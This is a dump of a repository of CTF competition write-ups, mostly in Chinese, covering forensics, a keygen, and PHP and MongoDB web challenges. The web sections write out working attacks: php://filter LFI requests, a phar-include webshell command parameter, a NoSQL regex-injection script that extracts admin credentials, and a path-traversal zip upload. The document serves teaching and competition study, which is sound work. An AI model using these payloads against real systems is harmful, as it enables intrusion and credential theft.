encode_hex, ascii_chr, str_to_bytes 4 | w3 = Web3(HTTPProvider('https://ropsten.infura.io/SdO4U3ydQdgK3D3eNE2Y')) 5 | w3.eth.enable_unaudited_features() 6 | 7 | def normalize_address(x, allow_blank=False): 8 | if allow_blank and x == '': 9 | return '' 10 | if len(x) in (42, 50) and x[:2] == '0x': 11 | x = x[2:] 12 | if len(x) in (40, 48): 13 | x = decode_hex(x) 14 | if len(x) == 24: 15 | assert len(x) == 24 and sha3(x[:20])[:4] == x[-4:] 16 | x = x[:20] 17 | if len(x) != 20: 18 | raise Exception("Invalid address format: %r" % x) 19 | return x 20 | 21 | def get_deployed_contract_addr(acc_address, nonce): 22 | return Web3.toHex(Web3.sha3(rlp.encode([normalize_address(acc_address), nonce]))[12:])[2:] 23 | 24 | acc=w3.eth.account.create() 25 | while not get_deployed_contract_addr(acc.address, 0).endswith('b1b1'): 26 | acc = w3.eth.account.create() 27 | print(acc.privateKey.__repr__()) -------------------------------------------------------------------------------- /QWB2019/scan_log.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QWB2019/scan_log.png -------------------------------------------------------------------------------- /QWB2019/scan_log_grep.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QWB2019/scan_log_grep.png -------------------------------------------------------------------------------- /QWB2019/webshell_scan_result.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QWB2019/webshell_scan_result.png -------------------------------------------------------------------------------- /QWB2019/webshell_source.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QWB2019/webshell_source.png -------------------------------------------------------------------------------- /QiangwangCup/CTF-Writeups_QiangwangCup.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QiangwangCup/CTF-Writeups_QiangwangCup.pdf -------------------------------------------------------------------------------- /QiangwangCup/FFT.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QiangwangCup/FFT.bmp -------------------------------------------------------------------------------- /QiangwangCup/README.md: -------------------------------------------------------------------------------- 1 | # 2015强网杯Writeup 2 | 3 | ## Ringtone 4 | 用audacity打开ringtone.wav,查看频率分析,如图 5 | ![FFT](FFT.bmp) 6 | 显然高频区有问题,切换到spectrogram模式,如图, 7 | ![spectrogram](spectrogram.bmp) 8 | 可看到高频区域有一些信息,以0.1+0.4*x秒的模式来读, 9 | 翻译成二进制得0b01100110、0b00110110, 10 | 也即是"f6...",猜测应该是"flag{...}", 11 | 多看几个字符后发现每8位结尾都是0, 12 | 于是把每8bit倒序一下,得flag 13 | `flag{f0r3ns1c_1s_r3al1y_v3ry_ve7y_fun}` 14 | 吐槽一下flag太长了..人肉读二进制ascii真蛋疼= = 15 | 16 | ## keygen 17 | ida打开,发现0x400b56是关键部分, 18 | ![before_md5](before_md5.bmp) 19 | 发现是把v16~v23部分与一些常数结合后md5,然后 20 | ![after_md5](after_md5.bmp) 21 | 把MD5字符串这些转成对应字符的ascii码整数字符串,去掉0, 22 | ![check_md5.bmp](check_md5.bmp) 23 | 再选第5位后字符与v8~v15比较。 24 | 然后发现要提交10个不同的sn才过。 25 | 26 | 然后写keygen,随便乱生成v16~v23部分,加上常数部分后md5一下, 27 | 计算出对应的v8~v15后填进sn的对应位,加上-就可以了, 28 | 最后几位sn是废的,直接填1111 29 | 30 | 下面的代码有些细节也许不对,偶尔生成的sn有问题,但懒得看了,反正换了几个字符串来生成sn就过了 31 | keygen.cpp 32 | 33 | #include "md5.h" 34 | #include 35 | 36 | using namespace std; 37 | 38 | void calc(const char *st) { 39 | MD5 a(st); 40 | const byte *p = a.digest(); 41 | string v42 = "", res=""; 42 | char buff[10]; 43 | for(int k=0; k<=15; k++) { 44 | sprintf(buff, "%x", p[k]>>4); 45 | sprintf(buff, "%d", buff[0]); 46 | if(buff[0]!='0') 47 | v42+=buff; 48 | sprintf(buff, "%x", p[k]&0xf); 49 | sprintf(buff, "%d", buff[0]); 50 | if(buff[0]!='0') 51 | v42+=buff; 52 | } 53 | int pp=0, k=5; 54 | while(pp<8) { 55 | while(v42[pp+k]=='0') k++; 56 | res+=v42[pp+k]; 57 | pp++; 58 | } 59 | printf("%c%c%c%c-%c%c%c%c-%c%c%c%c-%c%c%c%c-1111\n", 60 | res[3], 61 | st[0], 62 | st[8], 63 | res[7], 64 | res[6], 65 | res[4], 66 | st[4], 67 | res[5], 68 | st[2], 69 | st[6], 70 | res[1], 71 | st[10], 72 | res[0], 73 | st[12], 74 | st[14], 75 | res[2]); 76 | } 77 | 78 | int main() { 79 | calc("1413191117121012"); 80 | calc("2413191117121012"); 81 | calc("3413191117121012"); 82 | calc("4413191117121012"); 83 | calc("5413191117121012"); 84 | calc("7413191117121012"); 85 | calc("8413191117121012"); 86 | calc("1413191117121022"); 87 | calc("1413191117121032"); 88 | calc("1413191117121002"); 89 | return 0; 90 | } 91 | 92 | 93 | 得到的sn: 94 | ``` 95 | 5115-6415-1111-8111-1111 96 | 4215-1815-1191-2117-1111 97 | 4314-7815-1191-1117-1111 98 | 4419-9819-1111-9112-1111 99 | 9519-8719-1111-9112-1111 100 | 5711-2415-1191-1117-1111 101 | 5818-4515-1191-9118-1111 102 | 5119-9215-1151-7121-1111 103 | 1118-4112-1151-8137-1111 104 | 8115-5111-1181-4104-1111 105 | ``` 106 | 107 | ## 俳句 108 | 109 | 容易发现url有形如`/index.php?page=[upload|view]` 110 | 发现LFI,用php filter来获取源代码 111 | ``` 112 | /index.php?page=php://filter/read=convert.base64-encode/resource=index 113 | /index.php?page=php://filter/read=convert.base64-encode/resource=main 114 | /index.php?page=php://filter/read=convert.base64-encode/resource=view 115 | /index.php?page=php://filter/read=convert.base64-encode/resource=upload 116 | ``` 117 | 发现有upload_paiju文件夹,还有index.php里有 118 | ``` 119 | $inc=sprintf("%s.php", $p); 120 | include($inc); 121 | ``` 122 | 用%00无法截断".php"无法直接include .txt,于是用phar来绕过这个: 123 | 制作一个名为1.txt的zip里面放a.php 124 | a.php: `` 125 | 上传1.txt,用 126 | `/index.php?page=phar://upload_paiju/xxxxxxx.txt/a` 127 | 来成功include,然后是各种列目录: 128 | `/index.php?cmd=print_r(scandir('/tmp'));&page=phar://./upload_paiju/xxxxxxx.txt/a` 129 | 130 | tmp目录,html目录(都是open_basedir)都找遍也没发现flag, 131 | 然后是队友发现藏在/srv(另外一open_basedir下),有个FLAG文件... 132 | 那就`/index.php?cmd=print_r(file_get_contents('/srv/FLAG'));&page=phar://./upload_paiju/xxxxxxx.txt/a`得flag -------------------------------------------------------------------------------- /QiangwangCup/after_md5.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QiangwangCup/after_md5.bmp -------------------------------------------------------------------------------- /QiangwangCup/before_md5.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QiangwangCup/before_md5.bmp -------------------------------------------------------------------------------- /QiangwangCup/check_md5.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QiangwangCup/check_md5.bmp -------------------------------------------------------------------------------- /QiangwangCup/spectrogram.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/QiangwangCup/spectrogram.bmp -------------------------------------------------------------------------------- /RCTF2015/README.md: -------------------------------------------------------------------------------- 1 | # RCTF 2015 2 | 3 | ## weeeeeb3 WEB 150 4 | 5 | 先注册个账户,登陆进去发现cookie里面有个字段,发现其实是md5("$uid:$username") 6 | 尝试把它改掉,发现自己个人信息页进不去了,结合forget password页来看,估计就是用忘记密码找回admin账号, 7 | 把那个字段改成md5("1:admin"),个人信息页的url中把uid=1,就可以看见admin是1993/01/01的福建省福州市闽侯县人, 8 | 然后找回密码就可以了(然而好像有人搅屎,改了好几次才登录进去) 9 | 进入admin后台,发现原代码里是要module=filemanage&do=???,猜测是do=upload 10 | 发现页面给了个上传文件的表单(吐槽一下这次怎么全是要上传文件- -),表现如下: 11 | - 上传.php后缀:返回is a php! 12 | - 上传非.php后缀,content-type改成image/jpg: you know what i want 13 | - 上传.php5后缀,content-type改成image/jpg:: not a really php file 14 | - 文件里含有`成功拿到flag. 19 | 20 | ## login WEB 300 21 | 22 | ### Mongo注入 23 | 24 | ```python 25 | import requests, string 26 | 27 | headers = { 28 | 'Cookie': 'user=czo1OiJndWVzdCI7', 29 | 'X-Requested-With': 'XMLHttpRequest' 30 | } 31 | 32 | def probe(name, pwd): 33 | data = { 34 | 'username[$regex]': '/^' + ''.join(['\\x%02x' % ord(x) for x in name]) + '.*$/', 35 | 'password[$regex]': '/^' + ''.join(['\\x%02x' % ord(x) for x in pwd]) + '.*$/', 36 | } 37 | r = requests.post('http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/checkLogin.php', headers=headers, data=data) 38 | if 'I think you can get them' in r.content: 39 | return True 40 | assert 'username or password error' in r.content 41 | return False 42 | 43 | cur_user = 'ROIS_ADMIN' 44 | cur_pass = 'pas5woRd_i5_45e2884c4e5b9df49c747e1d' 45 | 46 | while True: 47 | print 'Cur:', cur_user 48 | for c in string.printable: 49 | if probe(cur_user + c, ''): 50 | cur_user += c 51 | break 52 | else: 53 | break 54 | 55 | while True: 56 | print 'Cur:', cur_pass 57 | for c in string.printable: 58 | if probe(cur_user, cur_pass + c): 59 | cur_pass += c 60 | break 61 | else: 62 | break 63 | 64 | print 'User:', cur_user 65 | print 'Pass:', cur_pass 66 | ``` 67 | 68 | 成功得到用户名,密码 69 | ``` 70 | cur_user = 'ROIS_ADMIN' 71 | cur_pass = 'pas5woRd_i5_45e2884c4e5b9df49c747e1d' 72 | ``` 73 | 74 | ### 登录后台 75 | 76 | 服务器关了有点蛋疼,记不太清后台页面说了一大堆什么 77 | 看到界面里有个上传zip的地方,大概还有就是根据页面给的提示, 78 | 给了个pclzip 2.8.2模块的代码(后来发现修改过), 79 | 还有html页面源代码里藏了一部分php代码,发现要碰撞一个PBKDF2才能上传文件 80 | 也就是上传文件是user-agent必须以rois_special_user_agent开头,长为65, 81 | $_COOKIE['backdoor']要跟ua的hash一样,那么要构造碰撞 82 | 83 | ### PBKDF2+HMAC hash collisions 84 | 85 | 直接把下面网址的代码copy下来改改就好了 86 | https://mathiasbynens.be/notes/pbkdf2-hmac 87 | 88 | ```python 89 | #!/usr/bin/env python 90 | # coding=utf-8 91 | 92 | import hashlib 93 | import itertools 94 | import re 95 | import string 96 | import sys 97 | 98 | TOTAL_LENGTH = 65 99 | PREFIX = 'rois_special_user_agent' 100 | 101 | prefix_length = len(PREFIX) 102 | brute_force_length = TOTAL_LENGTH - prefix_length 103 | passwords = itertools.product(string.ascii_lowercase, repeat=brute_force_length) 104 | regex_printable = re.compile('[\x20-\x7E]+$') 105 | base_hasher = hashlib.sha1() 106 | base_hasher.update(PREFIX) 107 | 108 | for item in itertools.imap(''.join, passwords): 109 | hasher = base_hasher.copy() 110 | hasher.update(item) 111 | sha1_hash = hasher.digest() 112 | if regex_printable.match(sha1_hash): 113 | print u'%s \U0001F4A5 %s'.encode('utf-8') % (PREFIX + item, sha1_hash) 114 | ``` 115 | 116 | 跑出来的结果 117 | ![WEB300_HASH_COLL](web300_hash.png) 118 | 119 | 所以: 120 | `User-Agent:rois_special_user_agentaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamipvkd` 121 | `backdoor=3-Rfm^Bq%3bZZAcl]mS&eE` 122 | 123 | ### 构造特殊zip 124 | 125 | 一开始不知道要干嘛,上传什么zip,后来发现上传路径里面是/upload/image/* 126 | 后来搜到这篇帖子: 127 | http://www.sa666.com/thread-39060-1-1.html 128 | 129 | 参考那篇帖子,构造一个压缩包,内含有 130 | 1.php 131 | ../1.php 132 | ../../1.php 133 | ../../../1.php 134 | 然后把某个文件在zip中的部分破坏一下,全改成a,让解压到一半的时候异常退出,防止解压出的文件被删掉 135 | ![WEB300_BAD_ZIP](web300_bad_zip.png) 136 | 137 | ### 本地测试 138 | 把那个.php.bak下载下来,改名叫pclzip.php,本地用下面的代码跑跑解压构造好的zip看看, 139 | ```php 140 | extract()); 144 | var_dump($pclzip->errorInfo(true)); 145 | ``` 146 | 147 | 发现解压出来的文件被改了名字,是一个md5,搜了下pclzip.php,发现4415行中 148 | ```php 149 | // ----- Get filename 150 | if ($p_header['filename_len'] != 0) { 151 | $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']); 152 | $preNum = substr_count($p_header['filename'], '../'); 153 | $prefix = str_repeat('../', $preNum); 154 | $element = explode('.', str_replace($prefix, '', $p_header['filename'])); 155 | $fname = $prefix . md5($element[0]. 'RoisFighting'). '.' .end($element); 156 | $p_header['filename'] = $fname; 157 | } 158 | ``` 159 | 可见解压出的文件名字是md5(原文件名 . 'RoisFighting'). 160 | 161 | 把压缩包上传上去,返回fail,说明成功了 162 | ![WEB300_payload](web300_payload.png) 163 | 164 | 访问新文件名对应的url就可以拿到flag了。 165 | -------------------------------------------------------------------------------- /RCTF2015/web300_bad_zip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2015/web300_bad_zip.png -------------------------------------------------------------------------------- /RCTF2015/web300_hash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2015/web300_hash.png -------------------------------------------------------------------------------- /RCTF2015/web300_payload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2015/web300_payload.png -------------------------------------------------------------------------------- /RCTF2019/README.md: -------------------------------------------------------------------------------- 1 | # RCTF2019 2 | 3 | ### REV - source_guardian 4 | 5 | 这题只要魔改下php内核应该就能很容易得到opcode了,之前也魔改过内核于是来玩玩看,感觉并不难,还不如说opcode的逆向比较烦人...据说这题有rmb玩家... 6 | 7 | git clone & checkout个7.3的版本,windows上编译的话还要下载下`php-sdk-binary-tools`,`.\buildconf && .\configure --disable-zts --disable-debug`选了NTS版本,下载选了NTS版本loaders,然后`php.ini`设`zend_extension=`基本就算布置好环境(还有要x64编译,用64位的loader,否则32位的会load不了)。这里选用cli SAPI编译后有`php.exe`,同目录放`php.ini`就好。 8 | 9 | 魔改代码后如果只改了`*.h`没有改`*.c`要强行在`*.c`加些空格什么的,让`makefile`的依赖检测到时间戳变化,触发`nmake`时重新编译。 10 | 11 | 被三番四次魔改过的php内核diff: 12 | 13 | ```diff 14 | ----------------------------- Zend/zend_execute.h ----------------------------- 15 | index d09a3f3..cd7612a 100644 16 | @@ -171,6 +171,20 @@ ZEND_API void zend_vm_stack_init(void); 17 | ZEND_API void zend_vm_stack_destroy(void); 18 | ZEND_API void* zend_vm_stack_extend(size_t size); 19 | 20 | +ZEND_API void php_my_compile_string(zend_execute_data *call, uint32_t num_args); 21 | + 22 | +ZEND_API zend_op_array *(*zend_compile_file)(zend_file_handle *file_handle, int type); 23 | +typedef zend_op_array *(*comp_file_t)(zend_file_handle *file_handle, int type); 24 | +static comp_file_t sg_comp_file = NULL; 25 | + 26 | +extern void vld_dump_oparray (zend_op_array *opa); 27 | + 28 | +static zend_op_array *new_zend_compile_file(zend_file_handle *file_handle, int type) { 29 | + zend_op_array *op_arr = sg_comp_file(file_handle, type); 30 | + vld_dump_oparray(op_arr); 31 | + return op_arr; 32 | +} 33 | + 34 | static zend_always_inline void zend_vm_init_call_frame(zend_execute_data *call, uint32_t call_info, zend_function *func, uint32_t num_args, zend_class_entry *called_scope, zend_object *object) 35 | { 36 | call->func = func; 37 | @@ -182,6 +196,25 @@ static zend_always_inline void zend_vm_init_call_frame(zend_execute_data *call, 38 | ZEND_SET_CALL_INFO(call, 0, call_info); 39 | } 40 | ZEND_CALL_NUM_ARGS(call) = num_args; 41 | + 42 | + /*if (func && !func->common.function_name) { 43 | + vld_dump_oparray(&(func->op_array)); 44 | + }*/ 45 | + if (func && func->common.function_name) { 46 | + /*if (strcmp(ZSTR_VAL(func->common.function_name), "var_dump") == 0) { 47 | + if (!sg_comp_file) { 48 | + sg_comp_file = zend_compile_file; 49 | + zend_compile_file = new_zend_compile_file; 50 | + } 51 | + }*/ 52 | + if (strcmp(ZSTR_VAL(func->common.function_name), "verify") == 0) { 53 | + vld_dump_oparray(&(func->op_array)); 54 | + } 55 | + if (strcmp(ZSTR_VAL(func->common.function_name), "a") == 0) { 56 | + printf("FUNC2 %s\n", ZSTR_VAL(func->common.function_name)); 57 | + php_my_compile_string(call, num_args); 58 | + } 59 | + } 60 | } 61 | 62 | ------------------------- Zend/zend_language_scanner.c ------------------------- 63 | index 5d6d9ca..3acea8b 100644 64 | @@ -764,6 +764,7 @@ zend_op_array *compile_string(zval *source_string, char *filename) 65 | zval_ptr_dtor(&tmp); 66 | return NULL; 67 | } 68 | + //zend_write(Z_STRVAL_P(&tmp), Z_STRLEN(tmp)); 69 | 70 | zend_save_lexical_state(&original_lex_state); 71 | if (zend_prepare_string_for_scanning(&tmp, filename) == SUCCESS) { 72 | @@ -777,6 +778,27 @@ zend_op_array *compile_string(zval *source_string, char *filename) 73 | return op_array; 74 | } 75 | 76 | +extern void php_var_dump(zval *struc, int level); 77 | + 78 | +ZEND_API void php_my_compile_string(zend_execute_data *call, uint32_t num_args) { 79 | + char code[] = "var_dump($v);"; 80 | + zend_eval_stringl(code, sizeof(code)-1, NULL, ""); 81 | + 82 | + zend_execute_data *execute_data = call; 83 | + 84 | + zval *args; 85 | + int argc; 86 | + int i; 87 | + 88 | + ZEND_PARSE_PARAMETERS_START(num_args, num_args) 89 | + Z_PARAM_VARIADIC('+', args, argc) 90 | + ZEND_PARSE_PARAMETERS_END(); 91 | + 92 | + for (i = 0; i < argc; i++) { 93 | + printf("args[%d]: ", i); 94 | + php_var_dump(&args[i], 1); 95 | + } 96 | +} 97 | 98 | BEGIN_EXTERN_C() 99 | int highlight_file(char *filename, zend_syntax_highlighter_ini *syntax_highlighter_ini) 100 | 101 | ---------------------------- Zend/zend_vm_execute.h ---------------------------- 102 | index 5355f7b..18f56ea 100644 103 | @@ -60814,9 +60814,16 @@ zend_leave_helper_SPEC_LABEL: 104 | zend_error_noreturn(E_CORE_ERROR, "Arrived at end of main loop which shouldn't happen"); 105 | } 106 | 107 | +// 强行内核植入vld 108 | +#include "srm_oparray.c" 109 | +#include "set.c" 110 | +#include "branchinfo.c" 111 | +#include "vld.c" 112 | + 113 | ZEND_API void zend_execute(zend_op_array *op_array, zval *return_value) 114 | { 115 | zend_execute_data *execute_data; 116 | + vld_dump_oparray(op_array); 117 | 118 | if (EG(exception) != NULL) { 119 | return; 120 | ``` 121 | 122 | 出题人给出的提示writeup的主要意义就在于给出了一个比较良好的hook点`zend_vm_init_call_frame`,所有函数调用的时候都会经过这里。 123 | 124 | 比如说首先我们可以在这里强行插入个`var_dump`(把`PHP_FUNCTION(var_dump)`的代码粘贴到`php_my_compile_string`然后`zend_vm_init_call_frame`里调`php_my_compile_string`): 125 | ```c 126 | + zend_execute_data *execute_data = call; 127 | + zval *args; 128 | + int argc; 129 | + int i; 130 | + 131 | + ZEND_PARSE_PARAMETERS_START(num_args, num_args) 132 | + Z_PARAM_VARIADIC('+', args, argc) 133 | + ZEND_PARSE_PARAMETERS_END(); 134 | + 135 | + for (i = 0; i < argc; i++) { 136 | + printf("args[%d]: ", i); 137 | + php_var_dump(&args[i], 1); 138 | ``` 139 | 140 | 然后函数调用实际上就变成`var_dump(...$args); ORIGINAL_FUNCTION(...$args);`了。跑一下php能得到调用函数名和对应的参数,然而参数似乎有些错位(得到的是前x>=0次函数调用的参数,脑补一下基本能看下大概,但后面被小坑了一下)如下: 141 | 142 | ``` 143 | FUNC2 dirname 144 | args[0]: UNKNOWN:0 145 | FUNC2 sg_load 146 | args[0]: UNKNOWN:0 147 | FUNC2 var_dump 148 | args[0]: int(1) 149 | string(2) "11" 150 | FUNC2 verify 151 | args[0]: string(2) "11" 152 | FUNC2 php_sapi_name 153 | FUNC2 ini_get 154 | args[0]: UNKNOWN:0 155 | FUNC2 unpack 156 | args[0]: string(10) "vld.active" 157 | args[1]: UNKNOWN:0 158 | FUNC2 str_repeat 159 | args[0]: UNKNOWN:0 160 | args[1]: UNKNOWN:0 161 | FUNC2 array_values 162 | args[0]: string(2) "V*" 163 | FUNC2 floor 164 | args[0]: array(3) { 165 | [1]=> 166 | int(1195461702) 167 | [2]=> 168 | int(1380272223) 169 | [3]=> 170 | int(69) 171 | } 172 | FUNC2 a 173 | args[0]: int(19) 174 | args[1]: NULL 175 | args[2]: UNKNOWN:0 176 | args[3]: UNKNOWN:0 177 | args[4]: UNKNOWN:0 178 | args[5]: UNKNOWN:0 179 | FUNC2 a 180 | args[0]: int(2654435769) 181 | args[1]: int(1380272223) 182 | args[2]: int(9) 183 | args[3]: int(0) 184 | args[4]: int(2) 185 | args[5]: array(4) { 186 | [0]=> 187 | int(1752186684) 188 | [1]=> 189 | int(1600069744) 190 | [2]=> 191 | int(1953259880) 192 | [3]=> 193 | int(1836016479) 194 | } 195 | FUNC2 a 196 | args[0]: int(2654435769) 197 | args[1]: int(69) 198 | args[2]: int(1522836630) 199 | args[3]: int(1) 200 | args[4]: int(2) 201 | args[5]: array(4) { 202 | [0]=> 203 | int(1752186684) 204 | [1]=> 205 | int(1600069744) 206 | [2]=> 207 | int(1953259880) 208 | [3]=> 209 | int(1836016479) 210 | } 211 | FUNC2 a 212 | args[0]: int(2654435769) 213 | args[1]: int(9) 214 | args[2]: int(3439883452) 215 | args[3]: int(2) 216 | args[4]: int(2) 217 | args[5]: array(4) { 218 | [0]=> 219 | int(1752186684) 220 | [1]=> 221 | int(1600069744) 222 | [2]=> 223 | int(1953259880) 224 | [3]=> 225 | int(1836016479) 226 | } 227 | <.......省略N多次> 228 | FUNC2 a 229 | args[0]: int(3189639355) 230 | args[1]: int(3066432098) 231 | args[2]: int(3753685081) 232 | args[3]: int(1) 233 | args[4]: int(2) 234 | args[5]: array(4) { 235 | [0]=> 236 | int(1752186684) 237 | [1]=> 238 | int(1600069744) 239 | [2]=> 240 | int(1953259880) 241 | [3]=> 242 | int(1836016479) 243 | } 244 | FUNC2 a 245 | args[0]: int(3189639355) 246 | args[1]: int(3587527111) 247 | args[2]: int(1255178940) 248 | args[3]: int(2) 249 | args[4]: int(2) 250 | args[5]: array(4) { 251 | [0]=> 252 | int(1752186684) 253 | [1]=> 254 | int(1600069744) 255 | [2]=> 256 | int(1953259880) 257 | [3]=> 258 | int(1836016479) 259 | } 260 | Wrong! 261 | ``` 262 | 263 | 可以看到检测了`vld.active`,以及大量调用了`a`这个盒函数。接下来我们dump一下`a`和题目的`verify`的opcode, 264 | 265 | 我们有多种方法dump opcode: 266 | 267 | - 一种是把vld植入到内核去(内核直接include vld的c文件一起编译比较方便快捷)然后在合适的时候调`vld_dump_oparray` 268 | - 或者把`ini_get('vld.active')`的返回结果hook掉正常上vld 269 | - 把vld中的'vld.active'选项换个名字什么的之类的。 270 | - ...and more 271 | 272 | 这里用的是第一种,代码详见一开始的diff。 273 | 274 | `zend_vm_init_call_frame`里插一句: 275 | ```c 276 | if (strcmp(ZSTR_VAL(func->common.function_name), "verify") == 0) { 277 | vld_dump_oparray(&(func->op_array)); 278 | } 279 | ``` 280 | 281 | 然后vld稍后发现也要魔改下,否则double和编译时常量array显示不全。vld里的print double时的`vld_printf("%g", zval)`被我替换成了`printf("%lf", zval)`,(等下还有个`$b`赋的数组字面量值的获取的问题)。得到的opcode: 282 | 283 | `a`函数和手动反编译opcode结果: 284 | ``` 285 | filename: D:\php-src\x64\Release\protected.php 286 | function name: a 287 | number of ops: 24 288 | compiled vars: !0 = $q, !1 = $y, !2 = $z, !3 = $p, !4 = $e, !5 = $k 289 | line #* E I O op fetch ext return operands 290 | ------------------------------------------------------------------------------------- 291 | 3 0* RECV 292 | 1* RECV 293 | 2* RECV 294 | 3* RECV 295 | 4* RECV 296 | 5* RECV 297 | 4 6* SR !2, 5 298 | 299 | 300 | 301 | 7* BW_AND ~6, 134217727 302 | 303 | 304 | 8* SL !1, 2 305 | 306 | 307 | 9* BW_XOR ~7, ~8 308 | ((($z >> 5) & 134217727) ^ ($y << 2)) 309 | 310 | 10* SR !1, 3 311 | 312 | 313 | 314 | 11* BW_AND ~10, 536870911 315 | 316 | 317 | 12* SL !2, 4 318 | 13* BW_XOR ~11, ~12 319 | ((($y >> 3) & 536870911) ^ ($z << 4)) 320 | 321 | 14* ADD ~9, ~13 322 | (((($z >> 5) & 134217727) ^ ($y << 2))+((($y >> 3) & 536870911) ^ ($z << 4))) 323 | 324 | 15* BW_XOR !0, !1 325 | ($q ^ $y) 326 | 327 | 16* BW_AND !3, 3 328 | 329 | 17* BW_XOR !4, ~16 330 | 331 | 332 | 18* FETCH_DIM_R !5, ~17 333 | 334 | 335 | 19* BW_XOR !2, ~18 336 | ($k[($e ^ ($p & 3))] ^ $z) 337 | 338 | 20* ADD ~15, ~19 339 | (($q ^ $y)+($k[($e ^ ($p & 3))] ^ $z)) 340 | 341 | 21* BW_XOR ~14, ~20 342 | 22* RETURN ~21 343 | 5 23* RETURN null 344 | 345 | 346 | 347 | 348 | $k = [1752186684,1600069744,1953259880,1836016479]; 349 | 350 | function a($q, $y, $z, $p, $e, $k) { 351 | return (((($z >> 5) & 134217727) ^ ($y << 2))+((($y >> 3) & 536870911) ^ ($z << 4)))^(($q ^ $y)+($k[($e ^ ($p & 3))] ^ $z)); 352 | } 353 | ``` 354 | 355 | $k的值可以从上面`var_dump`的结果中直接拿过来就完了。 356 | 357 | `verify`函数和手动反编译opcode结果(100多行opcode看的要死,变量还多...结合代码行号一起看脑补方便点): 358 | ``` 359 | filename: D:\php-src\x64\Release\protected.php 360 | function name: verify 361 | number of ops: 116 362 | compiled vars: !0 = $str, !1 = $v, !2 = $b, !3 = $k, !4 = $n, !5 = $z, !6 = $q, !7 = $sum, !8 = $e, !9 = $p, !10 = $y, !11 = $i 363 | line #* E I O op fetch ext return operands 364 | ------------------------------------------------------------------------------------- 365 | 7 0* RECV 366 | 8 1* INIT_FCALL 'php_sapi_name' 367 | 2* DO_ICALL $12 368 | 3* IS_IDENTICAL $12, 'phpdbg' 369 | 4* JMPZ ~13, ->6 370 | 9 5* EXIT 'Sorry+but+no+phpdbg' 371 | 11 6* INIT_FCALL 'ini_get' 372 | 7* SEND_VAL 'vld.active' 373 | 8* DO_ICALL $14 374 | 375 | 376 | 9* IS_EQUAL $14, 1 377 | 10* JMPZ ~15, ->14 378 | 12 11* INIT_FCALL 'dir' 379 | 12* SEND_VAL 'Sorry+but+no+vld' 380 | 13* DO_ICALL 381 | 382 | 383 | 14 14* INIT_FCALL 'unpack' 384 | 15* SEND_VAL 'V%2A' 385 | 16* INIT_FCALL 'str_repeat' 386 | 17* SEND_VAL '%00' 387 | 18* STRLEN !0 388 | 19* MOD ~17, 4 389 | 20* SUB 4, ~18 390 | 21* BW_AND ~19, 3 391 | 22* SEND_VAL ~20 392 | 23* DO_ICALL $21 393 | 24* CONCAT !0, $21 394 | 25* SEND_VAL ~22 395 | 26* DO_ICALL $23 396 | 397 | 398 | 399 | 400 | 27* ASSIGN !1, $23 401 | $v = unpack('V%2A', $str.str_repeat('%00', 4-strlen($str))); 402 | 403 | 404 | 15 28* INIT_FCALL 'array_values' 405 | 29* SEND_VAR !1 406 | 30* DO_ICALL $25 407 | 31* ASSIGN !1, $25 408 | 409 | 410 | $v = array_values($v); 411 | 412 | 413 | 16 32* COUNT !1 414 | 33* STRLEN !0 415 | 34* ASSIGN_DIM !1, ~27 416 | 35* OP_DATA ~29 417 | $v[count($v)]=strlen($str); 418 | 419 | 17 36* ASSIGN !2, 420 | 18 37* ASSIGN !3, 421 | $k = [1752186684,1600069744,1953259880,1836016479]; 422 | $b = ????; 423 | 424 | 19 38* COUNT !1 425 | 39* SUB ~32, 1 426 | 40* ASSIGN !4, strlen($str) 427 | $n= COUNT($v)-1; 428 | 429 | 20 41* FETCH_DIM_R !1, !4 430 | 42* ASSIGN !5, ~35 431 | $z = $v[COUNT($v)-1]; 432 | 433 | 21 43* INIT_FCALL 'floor' 434 | 44* ADD !4, 1 435 | 45* DIV 52, ~37 436 | 46* ADD 6, ~38 437 | 47* SEND_VAL ~39 438 | 48* DO_ICALL $40 439 | 49* ASSIGN !6, $40 440 | 441 | $q = floor(52/COUNT($v)+6); 442 | 443 | 22 50* ASSIGN !7, 0 444 | 23 51* JMP ->97 445 | for($sum=0; $e >= 0; $q--) { 446 | 447 | 24 52* ADD !7, 2654435769 448 | 53* BW_AND ~43, 4294967295 449 | 54* ASSIGN !7, ~44 450 | $sum = ($sum + 2654435769) & 0xffffffff; 451 | 452 | 25 55* SR !7, 2 453 | 56* BW_AND ~46, 3 454 | 57* ASSIGN !8, ~47 455 | $e = ($sum >> 2) & 3; 456 | 457 | 26 58* ASSIGN !9, 0 458 | 59* JMP ->79 459 | 460 | for ($p=0; $p<$n; $p++) { 461 | 462 | 463 